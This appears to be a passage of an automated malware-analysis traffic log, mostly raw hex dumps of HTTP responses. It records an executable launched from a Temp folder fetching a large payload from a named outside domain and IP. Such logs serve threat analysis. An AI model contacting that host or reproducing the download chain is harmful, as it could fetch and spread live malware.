2022-08-31 06:34:26 UTC	434	IN	Data Raw: 25 3a 70 d4 83 80 9d 27 ee 30 80 85 28 58 3d 20 00 1e 91 1c b2 39 03 96 c2 e4 20 58 7f ab 0c 4f 10 72 4a 3d 90 10 06 4c e6 06 e4 23 03 e1 58 c1 61 f0 67 26 8f 02 53 5c 07 bf 9c 3c f2 9b bc 18 14 62 3d f4 df 94 30 d2 ce 28 1d 2e 03 6e 24 82 3c 2f 1b 2b f9 ea 70 df 60 22 01 bc 5e 5b fd e8 27 b1 38 31 05 fb 92 d7 a1 33 73 14 1d 9a 42 af ac bf d9 31 08 58 53 b7 02 7b 82 53 e1 bf 1a e0 d3 28 e0 67 84 02 be 3e c3 ad 3f e7 65 b3 6a 0f a9 36 25 44 c0 d7 50 0e a7 15 c0 98 02 06 a5 46 e9 7a 00 ba de d0 c3 00 a6 80 41 01 8b 06 3c 74 2c 0c 9a 30 86 60 0d 50 ba 2e 9c e9 45 c0 a9 20 21 79 81 2f eb 04 90 b5 fe 3f 6f 35 02 56 8e 1d 88 9f 1f 54 85 cc 1d 20 b5 5e 3d 2d 08 3e 0e 28 fe 0d b3 01 a1 dd 0a 05 4c 10 d4 5b 81 15 d0 2b 2e 02 5d 74 c4 9f 02 40 6b f3 aa b3 4a 47 ae Data Ascii: %:p'0(X= 9 XOrJ=L#Xag&S\<b=0(.n$</+p`"^['813sB1XS{S(g>?ej6%DPFzA<t,0`P.E !y/?o5VT ^=->(L[+.]t@kJG
2022-08-31 06:34:26 UTC	439	IN	Data Raw: 44 92 c9 8e 0b be de 42 77 ea d8 3e ff 25 b4 f0 81 43 df 81 b3 2f fb 6e 58 6b d1 2c bc b4 b7 ca df cf 83 7c 02 7a 3d 8b 2f 19 bf b7 02 fa 64 c2 8e 9e a8 93 07 fd c0 c3 77 fe ab 29 89 df 1f 52 fa 16 6b b5 5e 15 8a dd dd 40 5e 43 1d d7 04 12 a8 61 82 21 c2 60 aa b0 d8 db 6a 00 44 e8 f5 4b 01 be a3 6d 54 00 fe 66 6d 7d 8e bf 06 8f 53 e5 34 69 88 1c 26 42 dd 70 5f a5 9e 04 f8 b1 63 47 20 70 1b 53 22 22 dd 3e 97 ab 89 08 6a 17 f6 e7 e3 0a 1d 49 59 0d c0 ac c3 27 3f a0 dd 5d 03 35 81 c5 99 45 9c 3f 7f 1e 45 23 74 b6 46 81 67 0e 35 70 f6 30 70 9f 01 1a 3d c2 9e 33 5d 5c 76 a6 87 83 67 fa d8 77 c1 61 2a 38 85 84 ea 1c ff 54 39 0c c8 83 4f 21 e6 2b 20 94 6b 96 82 bf 92 4f ee 51 04 35 a9 fa 12 52 80 ca a8 6b 96 02 1f e9 71 6b da 7b 21 0c ed 7d ee 55 3f 00 9a db ed Data Ascii: DBw>%C/nXk,\|z=/dw)Rk^@^Ca!`jDKmTfm}S4i&Bp_cG pS"">jIY'?]5E?E#tFg5p0p=3]\vgwa*8T9O!+ kOQ5Rkqk{!}U?
2022-08-31 06:34:26 UTC	443	IN	Data Raw: 18 34 28 98 46 9c c0 f7 e2 bc d4 e5 53 fb b9 96 f3 14 10 78 22 2c ed 2c 9e a0 e2 10 d6 7a 4f e5 21 d3 42 7d a8 60 12 40 40 17 62 02 24 84 17 91 24 24 10 c8 60 3a dd 19 7a ae ae f1 8e e7 7b 7f 9c b3 f7 fe 7d df de e7 0e 55 d5 99 bc bb d7 ed ba e7 ec 7d be fd 4d bf df de 67 9f 73 cf 69 75 f2 12 f8 e5 22 9e 99 ea db 85 3d af 63 b9 51 43 31 83 70 36 aa bb fd 05 c5 e2 5f 5e 43 86 bc 3c 7d 0f 48 56 eb 7a 04 76 3e 8f f7 f7 16 c0 e9 08 d5 2e cb 80 dd 9b eb d8 5a 1f 43 a7 93 63 a5 d9 ee bb c2 df 6b ca af 47 ff 1c 42 d7 fa 8b 3a 24 89 c1 3d ca 7e bd a5 0e 91 68 c5 df 25 aa 9d 2a fa a4 26 c0 b8 3a 3e 3e ab 6d 88 6e 7d 8b 5b 78 d3 60 48 7c 72 49 ce 0c 2c 41 88 a0 78 87 40 b7 89 76 a7 5d b0 b9 02 60 0c 18 94 7f 18 ec 0c 7b b8 6d 47 38 00 9d e7 97 b3 00 fe ed 42 e9 6a Data Ascii: 4(FSx",,zO!B}`@@b$$$`:z{}U}Mgsiu"=cQC1p6_^C<}HVzv>.ZCckGB:$=~h%*&:>>mn}[x`H\|rI,Ax@v]`{mG8Bj
2022-08-31 06:34:26 UTC	447	IN	Data Raw: 76 13 30 53 a3 65 68 2f 51 db 30 22 26 88 82 82 ee c0 ec 12 c2 09 50 c7 f4 5b f1 77 75 15 76 07 63 08 c8 d0 84 c2 89 5c 39 13 63 ff 39 1f 40 90 5c f1 b7 ed 9d 0a f6 9a b9 1f a0 44 8f f0 d1 8a 3f 20 16 94 74 eb ad 3a 7f b7 8b 7e 49 c0 53 1f 92 1a f5 ad 1f 83 1e 7e cd cc fb cb e5 83 cb 21 a1 b8 3a ff 86 c4 60 e2 20 b4 ad bb d4 03 9b a4 5f db ed c0 df cd 5b 58 6a 1c c7 6a 6b c1 24 8e 90 c3 8b ef 83 5e 06 5c 6e 9e c0 cd f7 be 07 97 9c f5 52 ec 9e bd 18 5b 37 9d 81 0c 83 3d 4f 30 cb 32 b3 ea 9f 48 e6 44 f2 27 db 63 38 b2 c8 d9 3d a6 ad f2 0d 9c 60 ad 0b c7 ce 02 04 f4 f1 5f ab f4 72 32 90 d0 21 b5 df eb 42 72 95 5e 24 b1 02 c8 a0 fd 9c c8 ea 43 f2 95 3d fe 98 35 ac f8 13 60 54 7b d7 ae cf 8a 7f 20 83 d0 1f a2 6b fe 81 18 ec b9 bc 5a e4 f3 ba ba ba 58 76 09 1d Data Ascii: v0Seh/Q0"&P[wuvc\9c9@\D? t:~IS~!:` _[Xjjk$^\nR[7=O02HD'c8=`_r2!Br^$C=5`T{ kZXv
2022-08-31 06:34:26 UTC	451	IN	Data Raw: 4c 1f ce 0e 2b 6f c0 e0 f4 29 75 ef 7c e3 1c 0f 4d 4a 1a c5 5e c4 de cc 98 ca 60 de 3d 10 18 7b 90 85 d3 68 4d b2 12 75 5e b7 3e 64 96 20 1e 7f 7b a8 b2 2f 24 64 48 0a 1a c1 22 5d 82 5f 19 b0 d5 c4 15 8f 46 f0 fa eb 04 52 fd 82 e3 41 23 8b 6b 63 7d 22 c5 33 f3 7c db 01 4a 56 5c ca 51 fd 6b 3d 0a 4f a5 40 a2 48 82 f2 8a 41 ad 49 c2 d9 65 eb 74 3b ce 5b 05 1a 57 4f 2e 27 0d 43 0c 29 66 69 90 57 c4 83 11 6c b6 c0 3e 65 bb 39 89 18 67 84 23 6f 0d fb 69 03 4a 78 33 10 25 82 b3 96 93 c6 4f 53 50 3a 7a 98 45 3c f4 a8 23 23 83 1f 36 86 2c 92 a4 c4 9f 41 56 fc 93 c4 a3 5f 9f 5e 3a c5 00 c9 c7 4c 25 63 b2 3f d0 71 f6 63 40 a8 7d 25 be fb 90 a4 1a d8 50 c0 72 71 4d fb 6b a1 d1 c2 e2 6a 1b 27 97 9a 58 58 6d 61 6a 72 b0 27 ff 64 59 f9 9c 80 90 c3 8a 7c d8 37 11 b8 11 Data Ascii: L+o)u\|MJ^`={hMu^>d {/$dH"]_FRA#kc}"3\|JV\Qk=O@HAIet;[WO.'C)fiWl>e9g#oiJx3%OSP:zE<##6,AV_^:L%c?qc@}%PrqMkj'XXmajr'dY\|7
2022-08-31 06:34:26 UTC	455	IN	Data Raw: 99 f8 b1 cb cf c4 45 13 39 c6 f2 f5 cd 0a dc 1a 40 04 ce e0 82 04 70 75 3b ff bf f2 0d a8 06 ea 7f 3d ad 17 5d 4f e4 92 1c fd 49 97 00 da 20 99 e8 ca c4 84 65 84 44 b2 c4 e7 64 22 fc 1a b0 89 02 f8 43 e7 da b3 8a 00 6c f9 d4 9f 3d ac 08 e1 ea 9f 3b cf 11 c2 15 12 66 0a 51 40 c1 ac 0b 28 46 07 07 1b 61 7f 88 9d 3c 0c 60 df ad ef 3d b4 ce 4b 7b 83 15 35 22 b9 e4 b1 c0 46 20 07 e1 04 22 bb 03 50 ca f6 89 24 57 c9 58 b6 0b 75 e1 fb f2 89 25 dc 73 7c 11 5f f9 d2 c3 d8 b6 7b 06 cf bf 70 27 5e 71 f1 0e 5c 32 99 63 73 b7 3d b4 8d 59 56 f3 7d 30 7c 34 30 34 b8 9d 1f 34 29 b2 8f bc 6b 54 7d 7a 61 0f b1 7c d6 c3 6f 13 70 95 9e 7c 3c 8c 7c d1 fa 7b 45 60 1b 7b 99 10 71 67 fe 75 00 87 51 80 7f 4d 2c fb ac 26 00 5b 6e 79 d7 23 4c 08 d7 01 c0 b7 fe cc 39 57 8b ba 17 c1 Data Ascii: E9@pu;=]OI eDd"Cl=;fQ@(Fa<`=K{5"F "P$WXu%s\|_{p'^q\2cs=YV}0\|4044)kT}za\|op\|<\|{E`{qguQM,&[ny#L9W
2022-08-31 06:34:26 UTC	459	IN	Data Raw: ff 1b 5e 39 ff 1e 64 3e ff 32 76 53 ff 1d 64 3e ff 1c 5f 3a bf 1a 5b 35 1f 00 00 00 00 00 00 00 00 c0 97 48 ff bd 93 46 ff ba 90 43 ff b8 8c 41 ff b5 87 3e ff bf 9a 5d ff dc d5 c3 ff e0 de de ff e0 de de ff e0 de de ff e0 de de ff dc d2 bb ff 9b 62 21 ff 98 5d 1d ff 95 58 19 ff a8 74 38 ff 9d 64 22 ff 9a 5f 1f ff 96 59 1b ff 92 54 17 ff 8e 4e 13 ff 88 49 0e ff 82 42 0a ff 7b 3c 06 ff 68 31 03 3a 00 00 00 1b 00 00 00 09 00 00 00 00 39 ab 80 3f 36 a4 79 6f 34 9d 74 af 31 97 6e ef 2f 91 68 ff 2d 8c 63 ff 2a 86 5e ff 28 80 58 ff 26 7a 53 ff 24 74 4e ff 22 6f 48 ff 1f 69 43 ff 1d 63 3e ff 1f 68 42 ff 33 79 56 ff 1f 67 41 ff 1d 61 3c ff 1a 5b 36 ff 18 56 32 7f 00 00 00 00 c2 9b 4a ff bf 97 48 ff bd 93 45 ff ba 8f 43 ff bf 99 56 ff e4 e0 da ff e6 e5 e4 ff e6 e5 Data Ascii: ^9d>2vSd>_:[5HFCA>]b!]Xt8d"_YTNIB{<h1:9?6yo4t1n/h-c*^(X&zS$tN"oHiCc>hB3yVgAa<[6V2JHECV
2022-08-31 06:34:26 UTC	462	IN	Data Raw: 34 32 66 32 0d 0a 3c ff b3 87 3f ff b5 89 40 ff b7 8b 41 ff b8 8c 41 ff b8 8c 41 ff b7 8b 41 ff b7 8a 41 ff b8 8d 46 ff be 96 5c ff 00 00 00 00 00 00 00 00 00 00 00 00 a2 ec d5 ff 9d e9 d1 ff 98 e6 cd ff 93 e2 c9 ff 8d df c5 ff 88 dc c0 ff 82 d8 bb ff 7c d4 b6 ff 7b d3 b5 ff 79 d2 b4 ff 7e d4 b7 ff 55 77 da ff 4a 5c e1 ff 36 49 db ff 33 45 d7 ff 2f 42 d4 ff 2c 3e d0 ff 29 3a cd ff 25 37 c9 ff 22 33 c5 ff 1e 2f c2 ff 1b 2c be ff 18 28 ba ff 14 24 b7 ff 11 20 b3 ff 0e 1d af ff 3f 4c c9 ff 18 29 bb ff 15 25 b7 ff 11 21 b2 ff 0e 1c ad ff 11 19 82 ff 51 36 37 ff 90 5c 26 ff 99 68 2c ff a1 71 31 ff a7 79 36 ff ac 7e 39 ff b0 83 3c ff b3 86 3e ff b5 89 3f ff b6 8a 40 ff b6 8a 40 ef b6 89 40 af b6 89 40 6f 00 00 00 00 00 00 00 00 00 00 00 00 a7 ef d8 ff a2 eb d4 Data Ascii: 42f2<?@AAAAAF\\|{y~UwJ\6I3E/B,>):%7"3/,($ ?L)%!Q67\&h,q1y6~9<>?@@@@o
2022-08-31 06:34:26 UTC	466	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 6c 95 f0 7f 63 8a ed ff 5d 83 eb ff 56 7a ea ff 50 73 e8 ff 4b 6c e6 ff 47 66 e5 ff 43 60 e4 ff 40 5c e2 ef 3f 59 e2 af 3d 56 e1 7f 3c 53 e1 3f 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: lc]VzPsKlGfC`@\?Y=V<S?
2022-08-31 06:34:26 UTC	471	IN	Data Raw: f6 ff 80 a8 f3 ff 78 9d f0 ff 8c a9 f2 ff 87 a4 f1 ff 7e 9d ef ff 76 98 ef ff 55 7c ea ff 79 8f ec ff 75 82 e4 ff 4a 59 d7 ff 3c 4c d0 ff 30 40 c9 ff 25 35 c1 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a0 d6 fd 7f 9b cf fc ff 9d cb fa ff ab ce fa ff a4 c8 f8 ff 99 bf f7 ff 73 a1 f2 ff 63 91 ef ff 59 84 ec ff 51 79 ea ff 4a 6f e8 ff 45 66 e5 ff 4f 6a e5 ff 79 88 e6 ff 4f 5e d7 ff 41 50 d0 ff 33 43 c8 ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bf e5 fe 5f c5 e5 fd ff b4 d8 fc ff 92 Data Ascii: x~vU\|yuJY<L0@%5scYQyJoEfOjyO^AP3C_
2022-08-31 06:34:26 UTC	475	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 bd e3 fe f9 bb db fc ff a7 c7 f8 ff 62 8e ee ff 4f 76 e9 ff 41 62 e5 ff 79 8b eb ff 85 90 e6 ff 46 53 ce 84 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 89 b5 f6 92 6e 98 f0 ff 57 7d ea ff 47 68 e6 ff 3e 5a e2 ff 3a 51 e0 ef 3c 51 e0 a8 54 65 e5 3e 00 00 00 00 00 00 00 00 00 00 00 00 ff c3 00 00 fe 01 00 00 c0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 03 00 00 80 07 00 00 c0 07 00 00 f0 07 00 00 f0 07 00 00 f0 07 00 00 f8 07 00 00 00 00 01 00 0d 00 30 30 08 00 01 00 04 00 68 06 00 00 01 00 20 20 08 00 01 00 04 00 e8 02 00 00 02 00 18 18 08 00 01 00 04 00 e8 01 00 00 03 00 10 10 08 00 01 00 04 00 28 01 00 00 04 00 Data Ascii: bOvAbyFSnW}Gh>Z:Q<QTe>00h (
2022-08-31 06:34:26 UTC	479	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0d 0a Data Ascii:
2022-08-31 06:34:26 UTC	479	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.2.3	49769	104.21.40.196	443	C:\Users\user\AppData\Local\Temp\39AF.exe

Timestamp	kBytes transferred	Direction	Data
2022-08-31 06:34:44 UTC	479	OUT	GET /31.html HTTP/1.1 Connection: Keep-Alive Accept: / User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) Host: v.xyzgamev.com
2022-08-31 06:34:45 UTC	479	IN	HTTP/1.1 200 OK Date: Wed, 31 Aug 2022 06:34:45 GMT Content-Length: 571228 Connection: close Last-Modified: Mon, 29 Aug 2022 04:55:07 GMT ETag: "8b75c-5e75a11515fef" Accept-Ranges: bytes CF-Cache-Status: DYNAMIC Expect-CT: max-age=604800, report-uri="https://report-uri.cloudflare.com/cdn-cgi/beacon/expect-ct" Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=r6BApL1zdpByUIr%2BLCTBqE5RGZhT8qLTlxDpzEDRqz8qz4HoHJweYFer62G8wHPB3HXamhWDVaHJ3ZHNXfULdhE9DQJI5jnq1XQAd6Q6gANKJ2YcbTHdK00BVY8qllOf2w%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 7433bdff0b9d8fd4-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400
2022-08-31 06:34:45 UTC	480	IN	Data Raw: 4f 2c cc 00 48 68 a2 6a 1e ff 91 3f e8 eb cf 4f 7d 33 e8 e1 38 76 2c 29 63 6d 6c 91 54 2f f0 cc da e3 13 56 f7 72 dc 93 17 ef b9 d6 f6 6e a7 3f 79 0d 18 6f 7a 23 56 af da b4 fe ed f5 98 4e ff 7b 1f d0 a6 ee ed e2 21 f0 cc cb f9 59 17 22 e3 9a d9 29 76 85 54 92 2e d7 2e dd 9b 1f e8 dc a4 ee 55 62 a7 56 d4 d4 2a db a9 29 c5 95 9d 38 94 ca 85 2c 17 25 16 7b 34 c2 79 57 72 41 ec 61 33 36 26 1a 18 2c e3 bc fe 18 56 f0 be ea f2 a2 6c 39 fc 79 0d c0 a4 e6 33 39 fc 79 0d ca 07 77 57 a6 6a f4 6f 78 ae 06 0d f6 e7 49 9f 9c 3b 86 aa 25 f7 11 70 b7 62 0c e8 3e da cb 6a a7 82 b6 92 a6 6a 1e 88 61 77 54 92 dc 72 a2 86 a6 6a 2e a6 12 17 6f f7 2f c5 8e 37 d4 17 dd 9a 2c 3d 75 6b a7 e1 69 df d2 2f 68 e1 eb a3 a6 6a 2a 6a ee 50 a6 6a 09 c4 88 3f e2 a5 2d 58 11 6b a7 d2 52 Data Ascii: O,Hhj?O}38v,)cmlT/Vrn?yoz#VN{!Y")vT..UbV)8,%{4yWrAa36&,Vl9y39ywWjoxI;%pb>jjawTrj.o/7,=uki/hjjPj?-XkR
2022-08-31 06:34:45 UTC	481	IN	Data Raw: 7c 36 16 cb 25 d7 b3 d0 7a 2f af e9 18 f8 08 e8 12 13 73 d7 7f ba e6 3e a5 6a db 2d 73 f3 6b d7 da 2f 13 3a e9 1b d6 ff d5 a2 12 11 fb d7 c9 3e 7c 2f 81 0e d6 68 a7 16 e0 be 32 2f 13 14 52 e6 84 c5 2d f3 1b c5 0d c7 00 6b a2 ba c9 d2 39 fc 79 0d ca 07 ef ce a7 6a c3 af 36 5a a7 6a f4 6f c2 af d8 ae 06 0d 6c 26 fc fa 25 f3 55 44 e3 2e 60 e8 02 c6 eb 26 eb e1 74 3e 22 96 36 67 fa de a7 6a 2c a2 d4 d1 e2 2f 57 3d 00 fa 35 a6 16 15 6e 14 f1 00 2e be 0a 11 58 0e cf 99 68 3e cb 9f 6b c7 c4 27 e8 96 2e c8 7c 2f 68 e1 a5 ec a7 6a 66 44 58 f3 53 ef d4 1f 60 26 2a e4 f4 c4 59 e7 d4 bc 0e 14 29 55 5d 62 63 5b fa 04 16 14 1b 15 27 28 86 89 6c e5 db af 2b f1 c5 bc 0a a9 62 17 69 d3 d6 db 8b f3 5b e7 d4 a6 c0 49 66 21 53 e7 d4 96 c0 72 2e a6 16 e8 ec dc 69 db da 96 2e Data Ascii: \|6%z/s>j-sk/:>\|/h2/R-k9yj6Zjol&%UD.`&t>"6gj,/W=5n.Xh>k'.\|/hjfDXS`&*Y)U]bc['(l+bi[If!Sr.i.
2022-08-31 06:34:45 UTC	482	IN	Data Raw: 2f 6f 25 a8 af e8 ae 0e de 08 c0 12 01 fc 33 7b d7 ca 3d 7a e1 a0 e9 a7 6a 2c a4 1a 11 41 ff 57 e9 1c 52 d3 5c 66 8c 36 9e 2c 29 e4 e0 23 2f 1e 16 ad d2 d0 41 49 ec e4 a8 a6 af 31 68 0a c0 1e 03 e2 de 8b b9 61 d3 d8 b4 16 07 2a 7f 3d b4 02 11 61 df 1d a1 7b cf 96 49 47 6b 6e 29 7b cb d8 b4 1a 01 1d 53 d2 db e0 2a 70 f5 2f ec e2 df 54 67 fb 36 e2 4c 14 c9 a0 6a 6b 82 f5 94 e4 d5 53 3d dc 53 cc 68 5a c2 0e 42 f5 2f 12 0c e7 6a a2 c3 8f d5 cf ea 27 6a f4 6f 0e c0 2e 85 54 41 4f 5a 54 ea bc 6e a6 bf c9 d2 39 1c fe 85 a4 32 35 fd a2 b7 c3 1b 6a 67 af 5c 91 62 ae 5c 7c 0b 58 1a a7 e8 42 43 ea 6d a1 2a df 56 af 05 41 a2 0a 8a a5 49 8d 61 a6 65 a9 6a 85 4c a3 6a a5 10 dc 1f 6f b7 c6 68 a7 7a 8a d7 37 3a 67 e3 2f ef 22 ee a2 63 ab 6f 24 6a 2b e0 21 69 47 8f a2 6a Data Ascii: /o%3{=zj,AWR\f6,)#/AI1ha=a{IGkn){Sp/Tg6LjkS=ShZB/j'jo.TAOZTn925jg\b\\|XBCm*VAIaejLjohz7:g/"co$j+!iGj
2022-08-31 06:34:45 UTC	483	IN	Data Raw: 5a af c6 b1 a7 6a e5 76 27 a8 a8 68 e8 77 e6 c4 4d 0b e1 5c d7 18 ff d5 17 36 69 24 5d 25 ad 5c 5c 99 54 99 f0 30 8e 42 be 03 d7 6e 47 8b 68 71 7c 25 67 3e 7c a3 96 8f ac fb 6f cb c2 c6 9a 47 be 0a e7 5c 83 16 cd 3a f3 91 8f cd 96 5c 5b 94 da e9 68 33 a6 26 f6 64 b7 f1 92 ca b6 4a 0c a4 0a bf 5a 2a 1d 25 e7 67 60 e3 f5 ae 16 1b 97 3a cb 30 f9 7a 60 80 a2 da 07 6e bc b5 75 f1 68 ce 59 c6 36 7b 68 e3 01 8b 97 78 54 85 e2 15 23 d8 1b 65 14 1d f3 ba 51 3c 13 71 8b eb f5 7f 92 7c 96 9f 55 0a c0 ed 52 85 62 6b ca 99 3c 71 c7 8b b6 8d cf 6b 7a 21 90 21 13 1a c2 5e 76 90 fc b0 69 3f d7 4d 95 0b 9b c9 f5 74 52 51 69 7d 4a 57 a7 4a 04 d2 9c 1f d8 15 d1 79 b7 6a 22 19 25 ec de ac e6 de 1f b9 39 45 d5 8d b1 06 6b 23 a3 a1 25 fd 68 b6 8c 86 a2 e1 ed ff a0 fa 39 dc 4a Data Ascii: Zjv'hwM\6i$]%\\T0BnGhq\|%g>\|oG\:\[h3&dJZ*%g`:0z`nuhY6{hxT#eQ<q\|URbk<qkz!!^vi?MtRQi}JWJyj"%9Ek#%h9J
2022-08-31 06:34:45 UTC	485	IN	Data Raw: 05 c8 92 b3 39 7f bc f6 ef 63 df da ef 7c ce d1 50 54 f1 77 04 42 37 38 b8 b7 e0 68 3f 3f e2 e2 3c e2 33 1e 1c 30 0e 94 95 d1 be f6 e5 e4 5b df e3 da eb d8 11 0f 35 2f 3c 76 68 a5 6a a8 d3 91 7e 2c 75 a7 7a 3c 94 da 9d 7c cb 28 18 df 63 fd 39 84 a1 ed f6 9b 68 a7 59 46 3b e0 aa 28 19 5f 53 cb 33 a4 e3 fa b1 a7 6a a7 e1 e3 8e 7b 17 29 60 a9 e7 63 22 92 d6 6d a0 6e 2b 58 ae c9 33 d9 f7 a1 42 67 6b be cb cc f4 88 18 40 76 4c ab 9c 96 2a 23 e6 2b 69 66 66 43 50 76 66 ab 67 f9 d7 c3 6b 23 43 db fe 22 bc b2 2c 92 d2 a2 ee 30 a1 6d 18 82 f1 73 ea 68 24 2d 77 fb 32 ba 68 e1 aa 63 3c 26 18 76 d1 d5 9b 63 ab a8 24 3c bb 67 eb 70 18 f4 4a d7 8f ed 08 45 28 ca f6 0e a3 29 18 2e 86 c4 a9 74 54 aa 9e 16 ee 10 f7 cc 13 66 9f e2 6f 11 d9 23 d9 ee ba 83 bf 70 e5 78 7a a2 Data Ascii: 9c\|PTwB78h??<30[5/<vhj~,uz<\|(c9hYF;(_S3j{)`c"mn+X3Bgk@vL*#+iffCPvfgk#C",0msh$-w2hc<&vc$<gpJE().tTfo#pxz
2022-08-31 06:34:45 UTC	486	IN	Data Raw: 80 d3 3b 4f 59 80 8e 96 79 7c 68 2b e1 4e 42 e0 ea 6b e6 ce 41 ca c2 ac e6 50 3f 4f 60 ea 11 9e a3 34 3a cb de f0 26 8a 5c 31 f3 72 43 37 d2 84 88 3d 85 10 c1 ca 8e 8b a2 39 19 d9 cb 7c c3 82 5f db 16 3f af 31 a2 6b 7b 18 d5 66 29 12 df ee 9d 8c f6 ef e2 de df 62 64 ab 80 4d 2a e9 ff c5 09 f3 67 e9 ab 7c 3c ed b5 a4 f6 d8 14 4d 82 d0 1f da 1d ec a5 b4 f6 e3 63 11 6d 74 44 3a e9 75 02 cc a5 66 27 68 67 74 f6 5b 16 7b 33 86 4f 56 ae 0e f9 32 f5 06 5f 2a 57 20 cc 01 cd 02 4b 2e 18 25 d1 fb f5 2f 1e 34 b0 f2 5c 51 6f 1b 77 68 74 bb 16 0e 72 eb 5f f0 ce ea 53 a3 c0 9a 51 bd 2b e3 e2 d2 0b 35 2a dc 26 f7 63 22 e7 08 f4 3c b1 5b 86 aa 47 4a ae 9a 37 32 b2 4e 95 90 eb 2f e7 b5 f7 fc ff f5 72 20 77 3a eb 43 90 2f a0 7f d2 5b 2c 10 a9 80 5f 76 19 ac dc 8e f1 26 93 Data Ascii: ;OYy\|h+NBkAP?O`4:&\1rC7=9\|_?1k{f)bdMg\|<McmtD:uf'hgt[{3OV2_W K.%/4\Qowhtr_SQ+5*&c"<[GJ72N/r w:C/[,_v&
2022-08-31 06:34:45 UTC	487	IN	Data Raw: 18 66 99 16 e2 ea 6e 77 e5 7b 57 c3 10 a4 16 5b 5d 6a e1 e6 1f 1a a4 88 89 6d 13 9f e3 69 41 c4 75 f6 1b 98 61 b2 fc e1 e3 2d 13 1c 65 b8 3b a6 25 b9 fc b0 fa a7 6a a7 99 5b 1b 98 7b d7 2c ce b3 f6 4d 07 0a c8 d2 54 a9 ae e5 96 f5 8f 69 23 72 3c e9 67 b5 79 53 5c ea c4 76 4b 75 07 42 a8 e2 9b df a9 79 22 7b b3 f5 ab 51 1b 7e 36 2f 13 1e b4 29 1f 41 4a 46 a5 e9 bc 36 67 a9 62 4c 83 40 8d e1 2e 2c a3 a9 e4 ae f3 d2 a2 84 92 d5 2f 6e fe 7f 63 62 0e b9 a7 6a d8 2c 26 29 a3 3a 1f 69 4c 46 83 e9 a9 cb 83 65 c2 00 f7 b1 3c 72 50 c4 ee 75 ad 77 48 c7 f7 64 a8 64 27 b0 94 64 cc 39 f5 3a 7c d1 68 c3 d5 c5 e3 a1 4b d4 f0 5f 63 71 4e 5b 62 84 34 64 3e 76 9d 50 24 ef 2a e9 1f 8a 08 c4 fe 61 8a 4d a1 45 8c 7e b8 27 12 19 ea f3 a6 07 59 a7 fc d9 b0 b8 88 68 2c 04 62 17 Data Ascii: fnw{W[]jmiAua-e;%j[{,MTi#r<gyS\vKuBy"{Q~6/)AJF6gbL@.,/ncbj,&):iLFe<rPuwHdd'd9:\|hK_cqN[b4d>vP$*aME~'Yh,b
2022-08-31 06:34:45 UTC	489	IN	Data Raw: fd fd dd 9b af 18 d1 e5 2a 87 4e e3 ea fc cc 89 0d 2e 52 a8 b0 bc 66 bd 71 e1 6a 3c 3a e3 e1 13 5f a5 dd 3d ee 06 63 fa dc 99 f4 2f 29 fb 8d c2 a2 d4 4f 0a ea 19 d9 11 a1 f5 6d 62 47 cf ee e7 66 d5 a6 6b a7 ea d7 87 9c 8a 9e 14 cd 0d cd 8c 2e 0c 3c f1 79 f3 18 78 fd ce 26 10 2c 1c ce c0 57 29 fa ce 22 8f 61 57 32 10 2d ed f4 ca 2f 9d c9 0e a1 08 b6 58 cb 35 94 d9 0c 03 ec e8 14 94 52 90 0e 1d 90 48 a4 60 27 2f 68 2b e0 63 24 e3 9c 05 a4 68 5e 2a 4f c7 6b e9 49 23 e5 7c f7 2c d0 7c 48 ef d3 13 76 dc c6 6c a4 37 b1 a6 2b 0b 3b 5f 79 ed 09 9a 7e b9 3a db 58 fe 69 23 0b b0 e0 96 41 3a d0 5e 1e e3 e3 eb 86 89 99 55 a5 0a f9 26 cf 86 90 b4 cd 1f 80 